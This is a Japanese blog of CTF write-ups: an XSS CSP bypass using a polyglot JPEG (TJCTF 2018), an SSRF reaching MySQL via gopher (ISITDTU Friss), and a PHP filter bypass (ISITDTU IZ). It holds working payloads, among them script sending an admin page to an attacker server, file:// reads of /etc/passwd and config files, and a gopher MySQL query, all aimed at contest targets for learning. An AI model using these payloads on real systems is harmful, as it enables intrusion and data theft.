こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

TJCTF 2018 - Stupid Blog

問題文

I created this blog site, but it doesn't do much. I did hide a flag on here though. Maybe you can convince the admin user to give it to you?

f:id:graneed:20180812145555p:plain

writeup

Create Your AccountリンクからRegister画面へ行き、適当なUsernameとPasswordでアカウントを作成してログインすると、自分のプロフィール画面へ。

f:id:graneed:20180812145928p:plain

プロフィール画面では以下の操作が可能。

  1. REPORT A USER
  2. プロフィール画像のアップロード
  3. プロフィールメッセージの更新

それぞれの機能を調べる。

1. 調査

1.1. REPORT A USER

ボタンを押下すると、指定したユーザをadminへ通報する画面へ遷移した。

adminへ通報すると、指定したユーザのプロフィール画面を見に来てくれるのだろう。よって、プロフィール画面にスクリプトを埋め込んでadminを誘導し、adminしか見れない情報(adminのプロフィール画面と想定)をゲットすればよさそう。

プロフィール画面のURL体系は以下の通り。
https://stupid_blog.tjctf.org/<Username>

試しに、別アカウントを作成し、<Username>に別アカウントのUsernameを入れてアクセスするが、You're not allowed to do that.とエラーメッセージが返ってきた。当然、https://stupid_blog.tjctf.org/adminにアクセスしてもエラー。

1.2. プロフィール画像のアップロード

pngまたはjpg画像を選択してアップロードすると、プロフィール画像が更新された。pngとjpg以外をアップロードしても反映されない。拡張子だけ偽装してもNG。

プロフィール画像のURLは、https://stupid_blog.tjctf.org/<Username>/pfp
拡張子がないため、Content-Typeがapplication/octet-streamになっている。
よってscriptファイルとして読み込めそうだ。

1.3. プロフィールメッセージの更新

プロフィールメッセージは特にサニタイズされていないため、<script>タグがそのまま反映される。
しかし、HTTP Response HeaderにContent-Security-Policy: default-src 'self'がセットされているため、単純なスクリプトを書いても実行されない。

2.攻略

画像ファイルにスクリプトを埋め込んで読み込ませれば、CSPを回避できそうだ。最近、以下のサイトを見たことを思い出す。
Bypassing CSP using polyglot JPEGs | Blog

試しに、こちらで公開されている、alertダイアログを表示するスクリプトを埋め込んだ画像をアップロードし、プロフィールメッセージに、<script charset="ISO-8859-1" src="/<Username>/pfp"></script>を入力してみた。

f:id:graneed:20180812220132p:plain
alertダイアログを表示できた!BINGO。

あとはalertダイアログを表示するスクリプトの代わりに、https://stupid_blog.tjctf.org/adminからコンテンツを取得し、自分のサーバに送ってもらうスクリプトに差し替えて、adminに通報するだけ。スクリプトは以下の通り。

xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","/admin",false);
xmlhttp.send();
r=xmlhttp.responseText;
location.href='http://myserver/?q='+btoa(r);

adminに通報してから、自分のサーバのアクセスログを確認すると、アクセスが来ていた。

35.185.25.223 - - [09/Aug/2018:23:56:56 +0900] "GET /?q=PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8dGl0bGU+YWRtaW48L3RpdGxlPgoJPG1ldGEgY2hhcnNldD0iVVRGLTgiPgoJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIj4KPCEtLT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09LS0+CQoJPGxpbmsgcmVsPSJpY29uIiB0eXBlPSJpbWFnZS9wbmciIGhyZWY9Ii9pbWFnZXMvaWNvbnMvZmF2aWNvbi5pY28iLz4KPCEtLT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09LS0+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSIvdmVuZG9yL2Jvb3RzdHJhcC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiPgo8IS0tPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0tLT4KCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9mb250cy9mb250LWF3ZXNvbWUtNC43LjAvY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzIj4KPCEtLT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09LS0+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSIvdmVuZG9yL2FuaW1hdGUvYW5pbWF0ZS5jc3MiPgo8IS0tPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0tLT4JCgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSIvdmVuZG9yL2Nzcy1oYW1idXJnZXJzL2hhbWJ1cmdlcnMubWluLmNzcyI+CjwhLS09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PS0tPgoJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iL3ZlbmRvci9zZWxlY3QyL3NlbGVjdDIubWluLmNzcyI+CjwhLS09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PS0tPgoJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iL2Nzcy91dGlsLmNzcyI+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSIvY3NzL21haW4uY3NzIj4KPCEtLT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09LS0+CjwvaGVhZD4KPGJvZHk+CgkKCSAgCgkKCTxkaXYgY2xhc3M9ImxpbWl0ZXIiPgoJCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1sb2dpbjEwMCI+CgkJCTxkaXYgY2xhc3M9IndyYXAtbG9naW4xMDAiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibG9naW4xMDAtcGljIj4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0ibG9naW4xMDAtZm9ybS1idG4iIGhyZWY9Ii9yZXBvcnQiPgogICAgICAgICAgICAgICAgICAgICAgICBSZXBvcnQgYSBVc2VyCiAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbjEwMC1waWMganMtdGlsdCIgZGF0YS10aWx0PgogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSIvYWRtaW4vcGZwIiBhbHQ9IklNRyI+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJsb2dpbjEwMC1mb3JtIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iL2VkaXRfcGZwIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KCQkJCQk8c3BhbiBjbGFzcz0ibG9naW4xMDAtZm9ybS10aXRsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIFVwZGF0ZSBQcm9maWxlIFBpY3R1cmUgKHBuZywganBnKQoJCQkJCTwvc3Bhbj4KCgkJCQkJPGRpdiBjbGFzcz0id3JhcC1pbnB1dDEwMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iaW5wdXQxMDAgZmlsZWlucHV0IiB0eXBlPSJmaWxlIiBuYW1lPSJwZnAiPgoJCQkJCQk8c3BhbiBjbGFzcz0iZm9jdXMtaW5wdXQxMDAiPjwvc3Bhbj4KCQkJCQkJPHNwYW4gY2xhc3M9InN5bWJvbC1pbnB1dDEwMCI+CgkJCQkJCQk8aSBjbGFzcz0iZmEgZmEtaW1hZ2UiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+CgkJCQkJCTwvc3Bhbj4KCQkJCQk8L2Rpdj4KCgkJCQkJPGRpdiBjbGFzcz0iY29udGFpbmVyLWxvZ2luMTAwLWZvcm0tYnRuIj4KCQkJCQkJPGJ1dHRvbiBjbGFzcz0ibG9naW4xMDAtZm9ybS1idG4iPgoJCQkJCQkJU2F2ZQoJCQkJCQk8L2J1dHRvbj4KCQkJCQk8L2Rpdj4KCQkJCTwvZm9ybT4KICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJsb2dpbjEwMC1mb3JtIHZhbGlkYXRlLWZvcm0iIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIvZWRpdC9hZG1pbiI+CgkJCQkJPHNwYW4gY2xhc3M9ImxvZ2luMTAwLWZvcm0tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICBhZG1pbidzIFBvc3RzIC0gPGEgaHJlZj0iL2xvZ291dCI+TG9nb3V0PC9hPgoJCQkJCTwvc3Bhbj4KCgkJCQkJPGRpdiBjbGFzcz0id3JhcC1pbnB1dDEwMCB2YWxpZGF0ZS1pbnB1dCIgZGF0YS12YWxpZGF0ZSA9ICJDb250ZW50IGlzIHJlcXVpcmVkIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJpbnB1dDEwMCIgdHlwZT0idGV4dCIgbmFtZT0iY29udGVudCIgdmFsdWU9InRqY3RmezFtNGczX3AwbHlnbDB0XzFzX3czaXJkfSI+CgkJCQkJCTxzcGFuIGNsYXNzPSJmb2N1cy1pbnB1dDEwMCI+PC9zcGFuPgoJCQkJCQk8c3BhbiBjbGFzcz0ic3ltYm9sLWlucHV0MTAwIj4KCQkJCQkJCTxpIGNsYXNzPSJmYSBmYS11c2VyIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPgoJCQkJCQk8L3NwYW4+CgkJCQkJPC9kaXY+CgoJCQkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1sb2dpbjEwMC1mb3JtLWJ0biI+CgkJCQkJCTxidXR0b24gY2xhc3M9ImxvZ2luMTAwLWZvcm0tYnRuIj4KCQkJCQkJCVNhdmUKCQkJCQkJPC9idXR0b24+CgkJCQkJPC9kaXY+CgoJCQkJCTxkaXYgY2xhc3M9InRleHQtY2VudGVyIHAtdC0xMzYiPgogICAgICAgICAgICAgICAgICAgICAgICB0amN0ZnsxbTRnM19wMGx5Z2wwdF8xc193M2lyZH0KCQkJCQk8L2Rpdj4KCQkJCTwvZm9ybT4KCQkJPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KCgkKCTxzY3JpcHQgc3JjPSIvdmVuZG9yL2pxdWVyeS9qcXVlcnktMy4yLjEubWluLmpzIj48L3NjcmlwdD4KCTxzY3JpcHQgc3JjPSIvdmVuZG9yL2Jvb3RzdHJhcC9qcy9wb3BwZXIuanMiPjwvc2NyaXB0PgoJPHNjcmlwdCBzcmM9Ii92ZW5kb3IvYm9vdHN0cmFwL2pzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0PgoJPHNjcmlwdCBzcmM9Ii92ZW5kb3Ivc2VsZWN0Mi9zZWxlY3QyLm1pbi5qcyI+PC9zY3JpcHQ+Cgk8c2NyaXB0IHNyYz0iL3ZlbmRvci90aWx0L3RpbHQuanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+Cgk8c2NyaXB0IHNyYz0iL2pzL21haW4uanMiPjwvc2NyaXB0PgogICAgdGpjdGZ7MW00ZzNfcDBseWdsMHRfMXNfdzNpcmR9Cgo8L2JvZHk+CjwvaHRtbD4= HTTP/1.1" 200 288 "http://localhost:1337/vvvvv" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"

BASE64デコードする。

(snip)
                    <div class="text-center p-t-136">
                        tjctf{1m4g3_p0lygl0t_1s_w3ird}
                    </div>
(snip)

adminのプロフィールメッセージにフラグがあった。

tjctf{1m4g3_p0lygl0t_1s_w3ird}
フラグゲット。

ISITDTU CTF 2018 - Friss

問題文

http://35.185.178.212/

f:id:graneed:20180728190409p:plain

writeup

Stage1

適当なURLを入力しても、Only access to localhostと弾かれる。

ソースを確認すると、末尾に以下のコメント文を発見。
<!-- index.php?debug=1-->

http://35.190.142.60/index.php?debug=1にアクセスするとPHPソースを入手できた。

<?php 
include_once "config.php"; 
if (isset($_POST['url'])&&!empty($_POST['url'])) 
{ 
    $url = $_POST['url']; 
    $content_url = getUrlContent($url); 
} 
else 
{ 
    $content_url = ""; 
} 
if(isset($_GET['debug'])) 
{ 
    show_source(__FILE__); 
} 


?> 

getUrlContentの実装はわからない。
config.phpにて実装されているのだろう。

Stage2

いくつか入力を試していると、fileスキーマを指定することでローカルファイルにアクセスできた。

root@kali:Friss# curl http://35.190.142.60/ -s --data-urlencode "url=file://localhost/etc/passwd"
<!DOCTYPE html>
<html lang="en-US">
<head><title>REQUESTS PAGE</title>
</head>

<body>

curl 'file://localhost/etc/passwd'
<form action="index.php" method="POST">
<input name="url" type="text">
<input type="submit" value="CURL">
</form>


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
(snip)
binhhuynhvanquoc:x:1001:1002::/home/binhhuynhvanquoc:/bin/bash
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
</body>
(snip)
<!-- index.php?debug=1-->

mysqlユーザが存在することがわかる。

次に、includeしているconfig.phpを確認する。

root@kali:Friss# curl http://35.190.142.60/ -s --data-urlencode "url=file://localhost/var/www/html/config.php"
<!DOCTYPE html>
<html lang="en-US">
<head><title>REQUESTS PAGE</title>
</head>

<body>

curl 'file://localhost/var/www/html/config.php'
<form action="index.php" method="POST">
<input name="url" type="text">
<input type="submit" value="CURL">
</form>


<?php


$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;

$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);

function initdb($conn)
{
    $dbinit = "create table if not exists flag(secret varchar(100));";
    if(mysqli_query($conn,$dbinit)) return 1;
    else return 0;
}

function safe($url)
{
    $tmpurl = parse_url($url, PHP_URL_HOST);
    if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
    {
        var_dump($tmpurl);
        die("<h1>Only access to localhost</h1>");
    }
    return $url;
}

function getUrlContent($url){
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    echo $pl;
    $content = shell_exec($pl);
    return $content;
}
initdb($conn);
?>
</body>
(snip)
<!-- index.php?debug=1-->

$dbinit = "create table if not exists flag(secret varchar(100));";より、flagはMySQLのテーブル内にあることがわかる。 また、getUrlContentcurlコマンドを呼んでいることがわかる。

Stage3

curlコマンドでMySQLに接続する方法は、過去のCTFにて出題があったためwriteupを参照する。
CTFWriteUps/README.md at master · reznok/CTFWriteUps · GitHub

他、以下のサイトを参照した。
SSRF To RCE in MySQL | FormSec | 逢魔网络安全实验室

MySQLサーバを立てて、同じDB名、ユーザ名およびテーブル名の環境を用意した上で、DB接続およびSELECT文を発行した際のパケットを採取し、gopherプロトコルの電文に落とし込めば良さそうだ。

1.環境準備

config.phpから得られた情報を元に、DB作成、ユーザ作成、テーブル作成を行う。

root@kali:Friss# mysql -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2
Server version: 10.1.29-MariaDB-6+b1 Debian buildd-unstable

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create database ssrf; # DB作成
Query OK, 1 row affected (0.00 sec)

MariaDB [(none)]> connect ssrf # DB接続
Connection id:    3
Current database: ssrf

MariaDB [ssrf]> create table if not exists flag(secret varchar(100)); # テーブル作成
Query OK, 0 rows affected (0.03 sec)

MariaDB [ssrf]> insert into flag(secret) values('this is flag'); # サンプルのレコード追加
Query OK, 1 row affected (0.00 sec)

MariaDB [ssrf]> select * from flag; # 確認
+--------------+
| secret       |
+--------------+
| this is flag |
+--------------+
1 row in set (0.00 sec)

MariaDB [ssrf]> create user ssrf_user; # ユーザ作成
Query OK, 0 rows affected (0.00 sec)

MariaDB [ssrf]> grant all privileges on flag to 'ssrf_user'; # 権限付与
Query OK, 0 rows affected (0.00 sec)
2.テーブル参照プログラム作成

flagテーブルを参照するphpコードを作る。

<?php

$hosts = "127.0.0.1";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;
$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);
$result = mysqli_query($conn,"select * from flag;");
var_dump($result->fetch_all());
mysqli_close($conn);
?>

試しに実行すると、flagテーブルの内容が参照できた。

root@kali:Friss# php Friss.php 
array(1) {
  [0]=>
  array(1) {
    [0]=>
    string(12) "this is flag"
  }
}
3.パケットキャプチャ

パケットキャプチャをスタートする。

root@kali:Friss# tcpdump -i lo -s 0 -w dump.pcap port 3306
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

オプションの説明を備忘録として記載する。

  • -i lo:ループバックインタフェースも対象にする。
  • -s 0:キャプチャしたパケットを途中で切られないようにする。
  • -w dump.pcap:dump.pcapにファイル出力する。
  • port:MySQLの通信ポートである3306を指定する。

php Friss.phpを実行したあと、Ctrl+Cでキャプチャを停止し、wiresharkでdump.pcapを確認する。 f:id:graneed:20180728185500j:plain

追跡->TCPストリームで送信パケットを確認する。 f:id:graneed:20180728185437j:plain

以下が送信パケット。 1行目が認証パケット、2行目がselect文のパケット、3行目が切断パケットのようだ。

5c0000018da20a00000000c02d0000000000000000000000000000000000000000000000737372665f75736572000073737266006d7973716c5f6e61746976655f70617373776f726400150c5f636c69656e745f6e616d65076d7973716c6e64
140000000373656c656374202a2066726f6d20666c61673b
0100000001
4. gopherプロトコルで送信

以下のサイト内のスクリプトを使用して、gopherプロトコルの送信電文に変換する。

SSRF To RCE in MySQL | FormSec | 逢魔网络安全实验室

#!/usr/bin/dev python
#coding:utf-8

def result(s): 
  a = [s[i:i+2] for i in xrange(0, len(s), 2)] 
  return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)

if __name__ == "__main__": 
  import sys    
  s = sys.argv[1]  
  print result(s)
root@kali:Friss# python convGopher.py 5c0000018da20a00000000c02d0000000000000000000000000000000000000000000000737372665f75736572000073737266006d7973716c5f6e61746976655f70617373776f726400150c5f636c69656e745f6e616d65076d7973716c6e64140000000373656c656374202a2066726f6d20666c61673b0100000001
curl gopher://127.0.0.1:3306/_%5c%00%00%01%8d%a2%0a%00%00%00%00%c0%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%73%73%72%66%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%15%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%07%6d%79%73%71%6c%6e%64%14%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01

試しに自サーバに対して実行してみる。

root@kali:Friss# curl gopher://127.0.0.1:3306/_%5c%00%00%01%8d%a2%0a%00%00%00%00%c0%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%73%73%72%66%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%15%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%07%6d%79%73%71%6c%6e%64%14%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01 -s | cat
^
5.5.5-10.1.29-MariaDB-6+b10FJ}[/u%S��-?�R%[~*R>}~~"*mysql_native_password.defssrfflagflagsecretsecret
                                                                                                                  -���"
 this is flag�"r

自サーバのflagテーブルのレコードを取得できた!

いよいよ問題サーバに投入する。
せっかくなので画面で入力してみる。 f:id:graneed:20180728190215p:plain

ISITDTU{JUST_4_SSrF_B4B3!!}
フラグゲット!

ISITDTU CTF 2018 - IZ

問題文

It's just PHP !!!
http://35.185.178.212/

f:id:graneed:20180728140919p:plain

<?php 

include "config.php"; 
$number1 = rand(1,100000000000000); 
$number2 = rand(1,100000000000); 
$number3 = rand(1,100000000); 
$url = urldecode($_SERVER['REQUEST_URI']); 
$url = parse_url($url, PHP_URL_QUERY); 
if (preg_match("/_/i", $url))  
{ 
    die("..."); 
} 
if (preg_match("/0/i", $url))  
{ 
    die("..."); 
} 
if (preg_match("/\w+/i", $url))  
{ 
    die("..."); 
}     
if(isset($_GET['_']) && !empty($_GET['_'])) 
{ 
    $control = $_GET['_'];         
    if(!in_array($control, array(0,$number1))) 
    { 
        die("fail1"); 
    } 
    if(!in_array($control, array(0,$number2))) 
    { 
        die("fail2"); 
    } 
    if(!in_array($control, array(0,$number3))) 
    { 
        die("fail3"); 
    } 
    echo $flag; 
} 
show_source(__FILE__); 




?>

writeup

ソースコードを眺める。
URLおよび_パラメータのフィルタリング機能を全て突破すればフラグゲットできるようだ。

なお、単純に以下コマンドを実行すると、ソースコードどおり弾かれた。

root@kali:~# curl "http://35.185.178.212/?_=0"
...

Stage1

まずは以下のフィルタリングを回避する。

$url = urldecode($_SERVER['REQUEST_URI']); 
$url = parse_url($url, PHP_URL_QUERY); 
if (preg_match("/_/i", $url))  
{ 
    die("..."); 
} 
if (preg_match("/0/i", $url))  
{ 
    die("..."); 
} 
if (preg_match("/\w+/i", $url))  
{ 
    die("..."); 
}   

parse_urlのマニュアルの注意を見る。
PHP: parse_url - Manual

  • この関数は相対 URL では動作しません。
  • parse_url() は URL をパースするための関数であり、 URI をパースするものではありません。しかし、PHP後方互換性を満たすため、 例外として file:// スキームについては 3 重スラッシュ(file:///...) が認められています。他のスキームにおいては、これは無効な形式となります。

parse_urlはhttp://から始まるような絶対URLをパースするための関数だが、$_SERVER['REQUEST_URI']は、/から始まるパスを返却する。ここの不整合を利用するのだろう。

何か方法がないかWeb上を調べていると、以下の記事を発見する。
skysec.top

parse_url///x.php?key=valueを渡すと、Falseを返却するとのこと。
実際に試してみる。//////の3種類を試してみる。

php > var_dump(parse_url("/x.php?key=value"));
array(2) {
  ["path"]=>
  string(6) "/x.php"
  ["query"]=>
  string(9) "key=value"
}
php > var_dump(parse_url("//x.php?key=value"));
array(2) {
  ["host"]=>
  string(5) "x.php"
  ["query"]=>
  string(9) "key=value"
}
php > var_dump(parse_url("///x.php?key=value"));
bool(false)

本当だった。

早速、問題サーバに対して試してみる。

root@kali:~# curl "http://35.185.178.212///?_=0"
<code><span style="color: #000000">
(snip)
</span>
</code>

_パラメータがクエリ文字列に存在するにも関わらず、if (preg_match("/_/i", $url))をバイパスできた。

Stage2

$number1 = rand(1,100000000000000); 
$number2 = rand(1,100000000000); 
$number3 = rand(1,100000000); 

(snip)

if(isset($_GET['_']) && !empty($_GET['_'])) 
{ 
    $control = $_GET['_'];         
    if(!in_array($control, array(0,$number1))) 
    { 
        die("fail1"); 
    } 
    if(!in_array($control, array(0,$number2))) 
    { 
        die("fail2"); 
    } 
    if(!in_array($control, array(0,$number3))) 
    { 
        die("fail3"); 
    } 
    echo $flag; 
} 

3つのin_arrayのフィルタリングを突破すればよい。0または乱数のどちらかにマッチすればよい条件となっている。3種類の乱数とのマッチは非現実的であるため、0とマッチさせる方法を考える。

単純に_パラメータに0をセットすると、!empty($_GET['_'])に弾かれる。

in_arrayの仕様を確認する。以下の記事を参考にさせて頂いた。
qiita.com

phpの柔軟さのおかげで、整数と小数がマッチしてしまうようだ。
0.0であれば、!empty($_GET['_'])に弾かれない。

問題サーバに対して試してみる。

root@kali:~# curl "http://35.185.178.212///?_=0.0"
ISITDTU{php_bad_language}<code><span style="color: #000000">
(snip)
</span>
</code>

フラグゲット。